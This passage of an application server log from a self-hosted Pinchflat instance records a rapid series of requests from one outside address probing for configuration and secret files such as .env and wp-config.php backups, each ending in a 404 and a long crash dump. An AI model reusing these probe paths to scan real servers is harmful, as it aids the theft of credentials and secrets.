"", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21417.0>, params: %{}, path_info: ["payment", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOpWPaZvnTIACMAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21416.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51938}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /payment/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21416.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/payment/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51938}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21417.0>, params: %{}, path_info: ["payment", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/payment/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfOpWPaZvnTIACMAB"} ], scheme: :http, scrip (truncated) 15:40:15.073 [info] GET /wp-config.php.old 15:40:15.073 [debug] QUERY OK source="settings" db=0.0ms idle=123.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.073 [debug] QUERY OK source="settings" db=0.0ms idle=123.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.073 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.073 [error] #PID<0.21419.0> running PinchflatWeb.Endpoint (connection #PID<0.21418.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21418.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51950}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21419.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfO8Jjo5kOBkACMAh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21418.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51950}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21418.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51950}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21419.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfO8Jjo5kOBkACMAh"} (truncated) 15:40:15.106 [info] GET /admin/.env 15:40:15.107 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.107 [debug] QUERY OK source="settings" db=0.0ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.107 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.107 [error] #PID<0.21421.0> running PinchflatWeb.Endpoint (connection #PID<0.21420.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21420.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51964}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21421.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPEOlcZZCt4ACMBB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21420.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51964}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21420.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51964}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21421.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPEOlcZZCt4ACMBB"} ], scheme: :http, script_name: [], (truncated) 15:40:15.179 [info] GET /wp-config.php.txt 15:40:15.180 [debug] QUERY OK source="settings" db=0.1ms idle=139.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.180 [debug] QUERY OK source="settings" db=0.0ms idle=106.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.180 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.180 [error] #PID<0.21423.0> running PinchflatWeb.Endpoint (connection #PID<0.21422.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21422.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51970}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21423.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPVlp_K18FAACMBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21422.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51970}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21422.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51970}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21423.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPVlp_K18FAACMBh"} (truncated) 15:40:15.219 [info] GET /.env.example 15:40:15.219 [debug] QUERY OK source="settings" db=0.1ms idle=145.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.219 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.219 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.219 [error] #PID<0.21425.0> running PinchflatWeb.Endpoint (connection #PID<0.21424.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.example ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21424.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51974}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: 